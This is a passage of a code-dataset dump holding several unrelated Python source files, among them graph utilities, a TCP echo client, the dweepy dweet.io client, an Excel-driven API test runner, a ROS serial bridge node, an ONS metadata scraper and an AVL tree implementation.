computation\n\"\"\"\n\nimport alg_load_graph\nimport matplotlib.pyplot as plt\nimport random\nimport networkx\n\nEX_GRAPH0 = {0: set([1, 2]),\n 1: set([]),\n 2: set([])\n }\n\nEX_GRAPH1 = {0: set([1, 4, 5]),\n 1: set([2, 6]),\n 2: set([3]),\n 3: set([0]),\n 4: set([1]),\n 5: set([2]),\n 6: set([])\n }\n\nEX_GRAPH2 = {0: set([1, 4, 5]),\n 1: set([2, 6]),\n 2: set([3, 7]),\n 3: set([7]),\n 4: set([1]),\n 5: set([2]),\n 6: set([]),\n 7: set([3]),\n 8: set([1,2]),\n 9: set([0, 4, 5, 6, 7, 3])\n }\n\ndef make_complete_graph(num_nodes):\n \"\"\"\n Makes a complete directed graph based on specified amount of nodes\n \"\"\"\n graph = {}\n for node in range(num_nodes):\n edges = range(num_nodes)\n edges.pop(node)\n graph[node] = set(edges)\n return graph\n\ndef compute_in_degrees(digraph):\n \"\"\"\n Computes the amount of incoming edges in the specified digraph\n Alternative variant\n \"\"\"\n\n in_degrees = digraph.fromkeys(digraph.keys(), 0)\n\n for key in digraph:\n for value in list(digraph[key]):\n in_degrees[value] += 1\n\n return in_degrees\n\ndef in_degree_distribution(digraph):\n \"\"\"\n Computes how many node have a specific in-degree\n Alternative\n \"\"\"\n \n in_degrees = compute_in_degrees(digraph)\n distribution = {value:0 for value in in_degrees.values()}\n \n for value in in_degrees.values():\n distribution[value] += 1\n\n return distribution\n\ndef normalize(distribution, nodes_len):\n \"\"\"\n Normalizes distribution so it sums to one\n \"\"\"\n degrees_dist = dict(distribution)\n for node in degrees_dist:\n degrees_dist[node] /= float(nodes_len)\n\n return degrees_dist\n\ndef make_random_digraph(num_nodes, probability):\n\n edges = []\n graph = {}\n for node_left in range(num_nodes):\n graph[node_left] = set([])\n for node_right in range(num_nodes):\n if node_left != node_right and probability > random.random():\n graph[node_left].add(node_right)\n return graph\n\n\n# gr = {0: set([2, 3]), 1: set([0, 4]), 2: set([0, 1, 3]), 3: set([0, 1, 4]), 4: set([2, 3])}\n# gr_in_degrees = compute_in_degrees(gr)\n# gr_distr = in_degree_distribution(gr)\n# gr_distr_norm = normalize(gr_distr, len(gr))\n# print gr\n# print gr_in_degrees\n# print gr_distr\n# print gr_distr_norm\n\nCITATION_URL = \"http://storage.googleapis.com/codeskulptor-alg/alg_phys-cite.txt\"\ncitation_graph = alg_load_graph.load_graph(CITATION_URL)\n\nrand_digraph = make_random_digraph(1000, 0.02)\n#rand_digraph = networkx.fast_gnp_random_graph(500, 0.5, directed = True)\n#rand_digraph = networkx.to_dict_of_lists(rand_digraph)\ndegrees_distribution = in_degree_distribution(citation_graph)\ndegrees_distribution_normalized = normalize(degrees_distribution, len(citation_graph))\n\nrand_degrees_distribution = in_degree_distribution(rand_digraph)\nrand_degrees_distribution_normalized = normalize(rand_degrees_distribution, len(rand_digraph))\n\n#\nplt.loglog(degrees_distribution_normalized.keys(), degrees_distribution_normalized.values(), 'ro')\n#plt.loglog(degrees_distribution_normalized.keys(), degrees_distribution_normalized.values(), 'ro')\n#plt.loglog(degrees_distribution_normalized.keys(), degrees_distribution_normalized.values(), 'go')\nplt.loglog(rand_degrees_distribution_normalized.keys(), rand_degrees_distribution_normalized.values(), 'bo')\nplt.title('In-degree normalized distribution (log10)')\nplt.xlabel('In-degrees (log)')\nplt.ylabel('Normalized distribution of nodes / fraction of nodes (log)')\nplt.savefig('distribution.png')\nplt.show()\n","sub_path":"Graphs.py","file_name":"Graphs.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"640042907","text":"class DenseGraph:\n\n def __init__(self, n, directed):\n self.n = n\n self.directed = directed\n self.m = 0\n self.g = [[ False for i in range(self.n)] for i in range(self.n)]\n\n def V(self):\n return self.n\n\n def E(self):\n return self.m\n\n def add_edge(self, v, w):\n assert v >= 0 and v < self.n, \\\n \"v must be valid entry voint\"\n assert w >= 0 and w < self.n, \\\n \"w must be valid entry voint\"\n\n if self.has_edge(v, w):\n return\n\n self.g[v][w] = True\n\n if self.directed:\n self.g[w][v] = True\n\n self.m += 1\n\n def has_edge(self, v, w):\n assert v >= 0 and v < self.n, \\\n \"v must be valid entry voint\"\n assert w >= 0 and w < self.n, \\\n \"w must be valid entry voint\"\n\n return self.g[v][w]\n\n def show(self):\n for i in range(self.n):\n string = \"\"\n for j in range(self.n):\n if self.g[i][j]:\n string += '1\\t'\n else:\n string += '0\\t'\n print(string)\n\nclass DenseGraphAdjIterator:\n def __init__(self, dense_graph, v):\n self.index = -1\n self.v = v\n self.G = dense_graph\n\n def begin(self):\n self.index = -1\n return self.next()\n\n def next(self):\n self.index += 1\n for self.index in range(self.index, self.G.V()):\n if self.G.g[self.v][self.index]:\n return self.index\n return -1\n\n def end(self):\n return self.index >= self.G.V()\n","sub_path":"graph/dense_graph.py","file_name":"dense_graph.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"517113399","text":"import sys\nimport socket\n\nif __name__ == \"__main__\":\n clnt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n clnt.connect((sys.argv[1], int(sys.argv[2])))\n while True:\n msg = input('# ')\n leng = len(msg)\n b_leng = leng.to_bytes(1, byteorder='big')\n clnt.send(b_leng)\n b_msg = msg.encode()\n clnt.send(b_msg)\n if msg == \"0\":\n clnt.close()\n \n \n","sub_path":"Python/network/echo_socket/clnt.py","file_name":"clnt.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"26554675","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# marty mcfly imports\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\n# stdlib imports\nimport json\n\n# third-party imports\nimport requests\nfrom requests.exceptions import ChunkedEncodingError\n\n\n__all__ = ['dweet', 'dweet_for', 'get_latest_dweet_for', 'get_dweets_for', 'listen_for_dweets_from']\n\n# base url for all requests\nBASE_URL = 'https://dweet.io'\n\n\ndef _request(method, url, **kwargs):\n \"\"\"Make HTTP request, raising an exception if it fails.\n \"\"\"\n url = BASE_URL + url\n request_func = getattr(requests, method)\n response = request_func(url, **kwargs)\n # raise an exception if request is not successful\n if not response.status_code == requests.codes.ok:\n response.raise_for_status()\n return response.json()\n\n\ndef _send_dweet(payload, url):\n \"\"\"Send a dweet to dweet.io\n \"\"\"\n data = json.dumps(payload)\n headers = {'Content-type': 'application/json'}\n return _request('post', url, data=data, headers=headers)\n\n\ndef dweet(payload):\n \"\"\"Send a dweet to dweet.io without naming your thing\n \"\"\"\n return _send_dweet(payload, '/dweet')\n\n\ndef dweet_for(thing_name, payload):\n \"\"\"Send a dweet to dweet.io for a thing with a known name\n \"\"\"\n return _send_dweet(payload, '/dweet/for/{0}'.format(thing_name))\n\n\ndef get_latest_dweet_for(thing_name):\n \"\"\"Read the latest dweet for a dweeter\n \"\"\"\n return _request('get', '/get/latest/dweet/for/{0}'.format(thing_name))\n\n\ndef get_dweets_for(thing_name):\n \"\"\"Read all the dweets for a dweeter\n \"\"\"\n return _request('get', '/get/dweets/for/{0}'.format(thing_name))\n\n\ndef _reconnect_listen_request(wrapped_function):\n \"\"\"Reconnect to the listen endpoint when the connection dies unexpectedly\n \"\"\"\n def _arguments_wrapper(thing_name):\n while True:\n try:\n for x in wrapped_function(thing_name):\n yield x\n except ChunkedEncodingError:\n pass\n return _arguments_wrapper\n\n\n@_reconnect_listen_request\ndef listen_for_dweets_from(thing_name):\n \"\"\"Create a real-time subscription to dweets\n \"\"\"\n url = BASE_URL + '/listen/for/dweets/from/{0}'.format(thing_name)\n session = requests.Session()\n request = requests.Request(\"GET\", url).prepare()\n resp = session.send(request, stream=True, timeout=900)\n\n streambuffer = ''\n for byte in resp.iter_content():\n if byte:\n streambuffer += byte\n try:\n dweet = json.loads(streambuffer)\n except ValueError:\n continue\n yield dweet\n streambuffer = ''\n","sub_path":"dweepy.py","file_name":"dweepy.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"321658829","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 29 17:07:57 2018\n\n@author: vedanta\n\"\"\"\n\nimport os\n\"\"\" os is imported to use all those operations which require the help of Operating System,e.g making a directory,changing directory etc.\"\"\"\n\ndef mkdir(p):\n if not os.path.exists(p):\n os.mkdir(p)\n\ndef link(src,dst):\n if not os.path.exists(dst):\n os.symlink(src,dst) \n \n \nmkdir('../large_files/fruits-360-small')\n\"\"\" . is used to represent the current directory and .. is used to represent the directory above it\"\"\"\nclasses = [\n 'Apple Golden 1',\n 'Avocado',\n 'Lemon',\n 'Mango',\n 'Kiwi',\n 'Banana',\n 'Strawberry',\n 'Raspberry'\n]\n\n\"\"\"\nos.symlink(src,dst)\nsymlink creates a soft link between source and destination \nos.path.abspath('Courses')\nFile Explorer decides the absolute Path\nprint os.path.curdir\nprint os.path.abspath(os.path.curdir)\nprint os.path.abspath(os.path.curdir)\n\"\"\"\n\n\"\"\" Basically, What we are doing is Transferring some files from fruits to fruits-small\"\"\"\ntrain_path_from = os.path.abspath('../large_files/fruits-360/Training')\nvalid_path_from = os.path.abspath('../large_files/fruits-360/Validation')\n\ntrain_path_to = os.path.abspath('../large_files/fruits-360-small/Training')\nvalid_path_to = os.path.abspath('../large_files/fruits-360-small/Validation')\n\nmkdir(train_path_to)\nmkdir(valid_path_to)\n\nfor c in classes:\n f = os.path.abspath(train_path_from + '/' + c)\n t = os.path.abspath(train_path_to + '/' + c)\n link(f,t)\n fv = os.path.abspath(valid_path_from + '/' + c)\n tv = os.path.abspath(valid_path_to + '/' + c)\n link(fv,tv)\n \n\n\n \n","sub_path":"VGG/make_file_script.py","file_name":"make_file_script.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"74518016","text":"#=========================================================================\n# BehavioralTranslatorL5_test.py\n#=========================================================================\n# Author : Peitian Pan\n# Date : May 20, 2019\n\"\"\"Test the level 5 ehavioral translator.\"\"\"\n\nfrom pymtl3.datatypes import Bits16\nfrom pymtl3.dsl import Component, OutPort\nfrom pymtl3.passes.rtlir.util.test_utility import do_test\nfrom pymtl3.passes.translator.behavioral.BehavioralTranslatorL5 import (\n BehavioralTranslatorL5,\n)\n\nfrom .TestBehavioralTranslator import mk_TestBehavioralTranslator\n\n\ndef local_do_test( m ):\n tr = mk_TestBehavioralTranslator(BehavioralTranslatorL5)(m)\n tr.clear( m )\n tr.translate_behavioral( m )\n for component, _ref_upblk_repr in m._ref_upblk_repr.items():\n upblk_src = tr.behavioral.upblk_srcs[component]\n assert upblk_src == _ref_upblk_repr\n for component, _ref_freevar_repr in m._ref_freevar_repr.items():\n decl_freevars = tr.behavioral.decl_freevars[component]\n assert decl_freevars == _ref_freevar_repr\n for component, _ref_tmpvar_repr in m._ref_tmpvar_repr.items():\n decl_tmpvars = tr.behavioral.decl_tmpvars[component]\n assert decl_tmpvars == _ref_tmpvar_repr\n\ndef test_multi_components_tmpvars( do_test ):\n class B( Component ):\n def construct( s ):\n s.out = OutPort( Bits16 )\n @s.update\n def upblk():\n u = Bits16(0)\n s.out = u\n class A( Component ):\n def construct( s ):\n s.b = B()\n s.out = OutPort( Bits16 )\n @s.update\n def upblk():\n u = s.b.out\n s.out = u\n a = A()\n a.elaborate()\n a._ref_upblk_repr = { a : \\\n\"\"\"\\\nupblk_srcs:\n upblk_src: upblk\n\"\"\", a.b : \\\n\"\"\"\\\nupblk_srcs:\n upblk_src: upblk\n\"\"\" }\n a._ref_freevar_repr = { a : \"freevars:\\n\", a.b : \"freevars:\\n\" }\n a._ref_tmpvar_repr = { a : \\\n\"\"\"\\\ntmpvars:\n tmpvar: u in upblk of Vector16\n\"\"\", a.b : \\\n\"\"\"\\\ntmpvars:\n tmpvar: u in upblk of Vector16\n\"\"\" }\n do_test( a )\n\ndef test_multi_components_freevars( do_test ):\n STATE_IDLE = 0\n STATE_WORK = 1\n class B( Component ):\n def construct( s ):\n s.out = OutPort( Bits16 )\n @s.update\n def upblk():\n if 1:\n s.out = Bits16(STATE_IDLE)\n else:\n s.out = Bits16(STATE_WORK)\n class A( Component ):\n def construct( s ):\n s.b = B()\n s.out = OutPort( Bits16 )\n @s.update\n def upblk():\n if 1:\n s.out = s.b.out\n else:\n s.out = Bits16(STATE_IDLE)\n a = A()\n a.elaborate()\n a._ref_upblk_repr = { a : \\\n\"\"\"\\\nupblk_srcs:\n upblk_src: upblk\n\"\"\", a.b : \\\n\"\"\"\\\nupblk_srcs:\n upblk_src: upblk\n\"\"\" }\n a._ref_freevar_repr = { a.b : \\\n\"\"\"\\\nfreevars:\n freevar: STATE_IDLE\n freevar: STATE_WORK\n\"\"\", a : \\\n\"\"\"\\\nfreevars:\n freevar: STATE_IDLE\n\"\"\" }\n a._ref_tmpvar_repr = {}\n do_test( a )\n","sub_path":"pymtl3/passes/translator/behavioral/test/BehavioralTranslatorL5_test.py","file_name":"BehavioralTranslatorL5_test.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"559327474","text":"# -*- coding: utf-8 -*-\n# @Time : 2019/3/25 17:37\n# @Author : Edrain\nimport json\nimport requests\n\nfrom data.dependent_data import DependentData\nfrom data.get_data import GetData\nfrom util.common_tool import CommonTool\nfrom util.print_log import initLogging\nfrom util.send_get_post import SendGetPost\nfrom util.send_mail import SendEmail\nfrom util.use_header import UseHeader\nfrom util.use_json import UseJson\n\n\nclass BaseFlow:\n\n def __init__(self):\n self.run_method = SendGetPost()\n self.data = GetData()\n self.tool = CommonTool()\n self.send_mail = SendEmail()\n\n def base_run(self):\n res = None\n pass_count = []\n fail_count = []\n no_run_count = []\n rows_count = self.data.get_case_rows()\n\n log_file = \"../log/interface-demo02.log\" # 每次执行用例前,将log日志文件清空数据\n with open(log_file, \"w\") as lf:\n lf.seek(0, 0) # 加上lf.seek(0),把文件定位到position 0;若没有这句话,文件是定位到数据最后,truncate也是从最后这里删除。\n lf.truncate()\n\n self.tool.write_mobile() # 向get_mobile.json 中写入手机号码\n\n for i in range(1, rows_count):\n try:\n is_run = self.data.get_is_run(i)\n if is_run:\n url = self.data.get_request_url(i)\n method = self.data.get_request_method(i)\n data = self.data.get_request_excel_data(i) # 直接读取 excel 中的 data\n if data.find(\"${mobile}\") != -1:\n data = data.replace(\"${mobile}\", self.tool.get_mobile())\n elif data.find(\"${idCardNumber}\") & data.find(\"${name}\") != -1:\n data = data.replace(\"${idCardNumber}\", self.tool.getRandomIdCard())\n name = \"雨点\" + self.tool.num_chinese(self.tool.get_mobile()[-4:])\n data = data.replace(\"${name}\", name)\n elif data.find(\"${businessLicenseNumber}\") != -1:\n data = data.replace(\"${businessLicenseNumber}\", self.tool.license_no())\n\n header = self.data.get_request_header(i) # 获取 excel 中的 header 关键字\n expect_data = self.data.get_expect_data(i)\n expect = json.loads(expect_data)\n\n depend_case = self.data.is_depend(i)\n\n if depend_case != None:\n self.depend_data = DependentData(depend_case)\n depend_response_data = self.depend_data.get_value_for_key(i) # 获取 依赖字段的 响应数据\n\n if header == '{\"Content-Type\":\"application/json\"}':\n header_json = eval(header)\n res = self.run_method.run_main(method, url, data, header=header_json, params=data)\n elif header == '{\"Content-Type\":\"multipart/form-data\"}':\n data = eval(data) # 把 str 转成 dict\n with open(\"H:/wahh.jpg\", \"rb\") as f: # 打开上传文件\n r = f.read()\n files = {\"file\": (\"wahh.jpg\", r, \"image/jpeg\")}\n use_json = UseJson(\"../data_config/config_header.json\")\n header_json = use_json.read_data()\n # header_json = { # \"Content-Type\": \"multipart/form-data\", # 不要画蛇添足写这一句\n # \"Cookie\": \"SESSION=NGExN2Y0MzUtNjVhNy00MDRkLWIyZjItMGFjZWVlMDFiZjM5\"}\n response = requests.post(url=url, data=data, files=files, headers=header_json) # 获取返回请求\n res = response.text\n elif header == 'get_cookie':\n use_json = UseJson(\"../data_config/config_header.json\")\n cookie_value = use_json.get_data(\"Cookie\")\n header_json = {\"Content-Type\":\"application/json\", \"Cookie\": cookie_value}\n res = self.run_method.run_main(method, url, data, header=header_json, params=data)\n elif header == \"write_Cookie1\":\n use_header = UseHeader(res)\n use_header.write_cookie()\n elif header == \"get_Cookie1\":\n use_json = UseJson(\"../data_config/config_cookie.json\")\n cookie = use_json.get_data(\"apsid\")\n cookies = {\"apsid\":cookie}\n res = self.run_method.run_main(method, url, data=data, header=cookies, params=data)\n else:\n res = self.run_method.run_main(method, url, data, header, params=data)\n\n if self.tool.is_contain(expect, res):\n self.data.write_result(i, \"pass\")\n pass_count.append(i)\n else:\n self.data.write_result(i, json.dumps(res))\n with open(log_file, \"a\", encoding=\"utf-8\") as lf:\n lf.write(\"\\n第%s条用例实际结果与期望结果不一致:\\n\" % i)\n lf.write(\"期望结果:%s\\n实际结果:%s\\n\" %(expect, res))\n fail_count.append(i)\n else:\n no_run_count.append(i)\n\n except Exception as e:\n self.data.write_result(i, str(e))\n with open(log_file, \"a\", encoding=\"utf-8\") as lf:\n lf.write(\"\\n第%s条用例报错:\\n\" % i)\n initLogging(log_file, e)\n fail_count.append(i)\n\n # self.send_mail.send_main(pass_count,fail_count,no_run_count)\n\n\nif __name__ == '__main__':\n run = BaseFlow()\n run.base_run()\n\n\n\n\n\n","sub_path":"interface-demo02/main/flow02.py","file_name":"flow02.py","file_ext":"py","file_size_in_byte":5877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"291585843","text":"from DataProcessor.filepath import *\nimport numpy as np\nimport pickle\nimport xgboost as xgb\nfrom sklearn import preprocessing\n\n\ndef path2feature(src, relation, tv):\n \"\"\"\n Convert training or validation path file to feature matrix.\n \"\"\"\n path_list = pickle.load(open(path_list_file(src, tv, relation), \"rb\"))\n path2id = pickle.load(open(path2id_file(src, relation), \"rb\"))\n X = np.zeros((len(path_list), len(path2id)))\n for i in range(len(path_list)):\n for path in path_list[i]:\n if path in path2id.keys():\n X[i,path2id[path]] += 1\n #np.savetxt(X_file(src, relation, tv),X, fmt=\"%d\",delimiter=',')\n np.save(X_file(src, relation, tv), X)\n\n\ndef path2feature_for_wiki_test(src, relation, tv):\n \"\"\"\n Convert training or validation path file to feature matrix.\n \"\"\"\n path_list = pickle.load(open(path_list_file(src, tv, relation), \"rb\"))\n path2id = pickle.load(open(path2id_file(src, relation), \"rb\"))\n X_test = np.zeros((len(path_list), len(path2id)))\n for i in range(len(path_list)):\n for path in path_list[i]:\n if path in path2id.keys():\n X_test[i,path2id[path]] += 1\n np.save(X_file(src, relation, tv), X_test)\n return X_test\n\n\ndef path2id_for_wiki(relation):\n path_dict_list = pickle.load(open(path_list_file('wiki', 'training', relation), 'rb'))\n all_path = []\n for path_dict in path_dict_list:\n if type(path_dict) == dict:\n path_dict.pop('id')\n all_path.extend(path_dict.keys())\n else:\n all_path.extend(path_dict[1:])\n path_set = set(all_path)\n path2id = dict(list(zip(list(path_set), list(range(0, len(path_set))))))\n pickle.dump(path2id, open(path2id_file('wiki', relation), \"wb\"))\n\n\ndef path2feature_for_wiki(relation, tv):\n path_dict_list = pickle.load(open(path_list_file('wiki', 'training', relation), 'rb'))\n path2id = pickle.load(open(path2id_file('wiki', relation), 'rb'))\n X = np.zeros((len(path_dict_list), len(path2id)))\n for i, path_dict in enumerate(path_dict_list):\n for path,num in path_dict.items():\n if path in path2id:\n X[i,path2id[path]] = num + 1\n s = np.sum(X)\n feq = np.sum(X, axis=0) / s\n idx = np.argsort(feq)[::-1]\n if X.shape[1] > 300:\n upper = np.searchsorted(np.cumsum(feq[idx]), 0.85)\n else:\n upper = X.shape[1]\n id2path = {i:path for path, i in path2id.items()}\n new_path2id = {id2path[s_idx]:i for i, s_idx in enumerate(idx[:upper])}\n np.save(path2id_file('wiki', relation), new_path2id)\n np.save(X_file('wiki', relation, tv), X[:, idx[:upper]])\n return X[:, idx[:upper]]\n\n\ndef bi_gram_paths(path):\n paths = list(filter(lambda e: e, path.split(',')))\n if len(paths) < 3:\n return []\n bg_paths = []\n for i in range(1, len(paths)):\n bg_paths.append(paths[i-1]+','+paths[i]+',')\n return bg_paths\n\n\ndef save_y():\n pass\n\n\ndef select_feature(src, relation):\n \"\"\"\n save selection.csv\n \"\"\"\n X_train = np.loadtxt(X_file(src, relation, \"training\"),delimiter=',')\n X_scaled = preprocessing.scale(X_train)\n y = np.zeros(len(X_scaled))\n for i in range(0, len(X_scaled), 3):\n y[i] = 1\n dm = xgb.DMatrix(X_scaled, y)\n params = {'objective': 'binary:logistic', 'silent': 1, 'eta': 0.01, 'max_depth': 8}\n num_rounds = 1000\n gbdt = xgb.train(params, dm, num_rounds)\n importance = gbdt.get_fscore()\n selection = np.array(list(map(lambda e:int(e[0][1:]), importance.items())))\n np.savetxt(selection_file(src, relation), selection, fmt=\"%d\", delimiter=\",\")\n\n\ndef load_X(src, rel):\n X_train = np.load(X_file(src, rel, 'training'))\n X_test = np.load(X_file(src, rel, 'validation'))\n if len(X_test) > 0:\n X = np.concatenate((X_train, X_test), axis=0)\n else:\n X = X_train\n n_training = len(X_train)\n n_test = len(X_test)\n return X, n_training, n_test\n\n#\ndef load_y(n_training):\n y = np.zeros(n_training)\n for i in range(0, n_training, 3):\n y[i] = 1\n return y\n","sub_path":"FeatureTransformer/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":4072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"188290466","text":"\n\nfrom xai.brain.wordbase.verbs._denominate import _DENOMINATE\n\n#calss header\nclass _DENOMINATED(_DENOMINATE, ):\n\tdef __init__(self,): \n\t\t_DENOMINATE.__init__(self)\n\t\tself.name = \"DENOMINATED\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"denominate\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_denominated.py","file_name":"_denominated.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"523603171","text":"#!/usr/bin/env python\n\nimport rospy\nimport sys\nfrom std_msgs.msg import Float64, Bool,String\nfrom deliv_robot.msg import Joystick_cmd\nfrom geometry_msgs.msg import Twist\n\n\nclass serial_translator:\n \n def __init__(self):\n rospy.init_node('serial_translator', anonymous=True)\n\n #Publishers \n self.pub_sensor = rospy.Publisher(\"/master/state_sensor\", Bool, queue_size = 10)\n self.pub_wall = rospy.Publisher(\"/master/wall\", Bool, queue_size = 10)\n self.pub_joystick = rospy.Publisher(\"/master/joystick\", Twist, queue_size = 10)\n\n rospy.sleep(1)\n rospy.loginfo(\"[serial_translator] node started\")\n\n #Subscribers\n rospy.Subscriber(\"/chatter\", String, self.callback)\n rospy.Subscriber(\"/esp32/state_sensor\", Bool, self.sensor_callback)\n rospy.Subscriber(\"/esp32/wall_detector\", Bool, self.wall_callback)\n rospy.Subscriber(\"/esp32/joystick\", Joystick_cmd, self.joystick_callback)\n\n\n rospy.spin()\n\n \n def callback(self,data):\n \"\"\"\n when receive a topic [/card/<...>], publish the proper topic \"/master/<...>\"\n \"\"\"\n \n try:\n rospy.loginfo(\"from ESP32 : %s\",data.data)\n except rospy.ServiceException as e:\n rospy.logwarn(\"Service call failed: %s\"%e)\n\n def sensor_callback(self,data):\n \"\"\"\n when receive a topic [/card/<...>], publish the proper topic \"/master/<...>\"\n \"\"\"\n #rospy.loginfo(\"message receive from ESP32/state_sensor\")\n self.pub_sensor.publish(data.data) \n\n def wall_callback(self,data):\n \"\"\"\n when receive a topic [/card/<...>], publish the proper topic \"/master/<...>\"\n \"\"\"\n #rospy.loginfo(\"message receive from ESP32/wall_detection\")\n self.pub_wall.publish(data.data)\n\n def joystick_callback(self,data):\n \"\"\"\n when receive a topic [/card/<...>], publish the proper topic \"/master/<...>\"\n \"\"\"\n #rospy.loginfo(\"message receive from ESP32/joystick: %d,%d\", data.x,data.y)\n msg = Twist()\n\t#\n msg.linear.x = int( (data.x )/0.440)\n msg.linear.y = int((data.y )/0.440)\n self.pub_joystick.publish(msg)\n\nif __name__ == '__main__':\n \n try:\n translate = serial_translator()\n \n except rospy.ROSInterruptException:\n pass\n","sub_path":"[rasberry]_deliv_robot_ws/src/deliv_robot/scripts/serial_translator.py","file_name":"serial_translator.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"318681727","text":"from urllib.parse import urljoin\nfrom dateutil.parser import parse\nfrom gssutils.metadata import Distribution\n\n\ndef scrape(scraper, tree):\n scraper.dataset.title = tree.xpath(\n \"//h1/text()\")[0].strip()\n scraper.dataset.issued = parse(tree.xpath(\n \"//span[text() = 'Release date: ']/parent::node()/text()\")[1].strip()).date()\n scraper.dataset.nextUpdateDue = parse(tree.xpath(\n \"//span[text() = 'Next release: ']/parent::node()/text()\")[1].strip()).date()\n scraper.dataset.contactPoint = tree.xpath(\n \"//span[text() = 'Contact: ']/following-sibling::a[1]/@href\")[0].strip()\n scraper.dataset.comment = tree.xpath(\n \"//h2[text() = 'About this dataset']/following-sibling::p/text()\")[0].strip()\n distribution = Distribution(scraper)\n distribution.downloadURL = urljoin(scraper.uri, tree.xpath(\n \"//a[starts-with(@title, 'Download as xls')]/@href\")[0].strip())\n distribution.mediaType = 'application/vnd.ms-excel'\n distribution.title = scraper.dataset.title\n scraper.distributions.append(distribution)\n scraper.dataset.publisher = 'https://www.gov.uk/government/organisations/office-for-national-statistics'\n scraper.dataset.license = tree.xpath(\n \"//div[@class='footer-license']//a\")[0].get('href')\n","sub_path":"gssutils/scrapers/ons.py","file_name":"ons.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"232944490","text":"import sokestrukturer.student as std\n\n\nclass Node:\n def __init__(self, nokkel, verdi, forelder=None):\n self.nokkel = nokkel\n self.verdi = verdi\n self.forelder = forelder\n self.venstre_barn = None\n self.hoyre_barn = None\n self.hoyde = 1\n\n def rekursiv_preorder_utskrift(self, nivaa=0):\n for i in range(nivaa):\n print(\"\\t\", end=\"\")\n print(f\"({self.nokkel}, {self.verdi}) - høyde: {self.hoyde}\")\n if self.venstre_barn is not None:\n self.venstre_barn.rekursiv_preorder_utskrift(nivaa+1)\n if self.hoyre_barn is not None:\n self.hoyre_barn.rekursiv_preorder_utskrift(nivaa+1)\n\n def er_bladnode(self):\n if self.venstre_barn is None and self.hoyre_barn is None:\n return True\n return False\n\n\nclass AVLTre:\n def __init__(self):\n self.rot = None\n\n def skriv_treemap(self):\n self.rot.rekursiv_preorder_utskrift()\n\n # Setter inn en oppgitt nøkkel med oppgitt verdi, overskriver gammel verdi\n # hvis nøkkelen allerede ligger der\n #\n # Kjøretid O(høyden til treet)\n def put(self, nokkel, verdi):\n if self.rot is None:\n self.rot = Node(nokkel, verdi)\n else:\n nv_node = self.rot\n ferdig = False\n while not ferdig:\n if nokkel < nv_node.nokkel:\n if nv_node.venstre_barn is None:\n nv_node.venstre_barn = Node(nokkel, verdi, nv_node)\n ferdig = True\n else:\n nv_node = nv_node.venstre_barn\n elif nokkel == nv_node.nokkel:\n nv_node.verdi = verdi\n ferdig = True\n else:\n if nv_node.hoyre_barn is None:\n nv_node.hoyre_barn = Node(nokkel, verdi, nv_node)\n ferdig = True\n else:\n nv_node = nv_node.hoyre_barn\n self.vedlikehold_hoydeinfo(nv_node)\n\n def vedlikehold_hoydeinfo(self, nv_node):\n while nv_node is not None:\n venstre_hoyde = self.hoyde(nv_node.venstre_barn)\n hoyre_hoyde = self.hoyde(nv_node.hoyre_barn)\n if venstre_hoyde > hoyre_hoyde+1:\n if self.hoyde(nv_node.venstre_barn.venstre_barn) > self.hoyde(nv_node.venstre_barn.hoyre_barn):\n self.enkel_venstre_rotasjon(nv_node)\n else:\n self.dobbelt_venstre_rotasjon(nv_node)\n if hoyre_hoyde > venstre_hoyde+1:\n if self.hoyde(nv_node.hoyre_barn.hoyre_barn) > self.hoyde(nv_node.hoyre_barn.venstre_barn):\n self.enkel_hoyre_rotasjon(nv_node)\n else:\n self.dobbelt_hoyre_rotasjon(nv_node)\n venstre_hoyde = self.hoyde(nv_node.venstre_barn)\n hoyre_hoyde = self.hoyde(nv_node.hoyre_barn)\n nv_node.hoyde = max(venstre_hoyde, hoyre_hoyde) + 1\n nv_node = nv_node.forelder\n\n def dobbelt_venstre_rotasjon(self, nv_node):\n self.enkel_hoyre_rotasjon(nv_node.venstre_barn)\n self.enkel_venstre_rotasjon(nv_node)\n\n def dobbelt_hoyre_rotasjon(self, nv_node):\n self.enkel_venstre_rotasjon(nv_node.hoyre_barn)\n self.enkel_hoyre_rotasjon(nv_node)\n\n def enkel_venstre_rotasjon(self, nv_node):\n # Flytter noden sitt venstre barn opp\n if nv_node.forelder is None:\n self.rot = nv_node.venstre_barn\n nv_node.venstre_barn.forelder = None\n else:\n nv_node.venstre_barn.forelder = nv_node.forelder\n if nv_node.forelder.venstre_barn == nv_node:\n nv_node.forelder.venstre_barn = nv_node.venstre_barn\n else:\n nv_node.forelder.hoyre_barn = nv_node.venstre_barn\n t2 = nv_node.venstre_barn.hoyre_barn\n nv_node.venstre_barn.hoyre_barn = nv_node\n nv_node.forelder = nv_node.venstre_barn\n 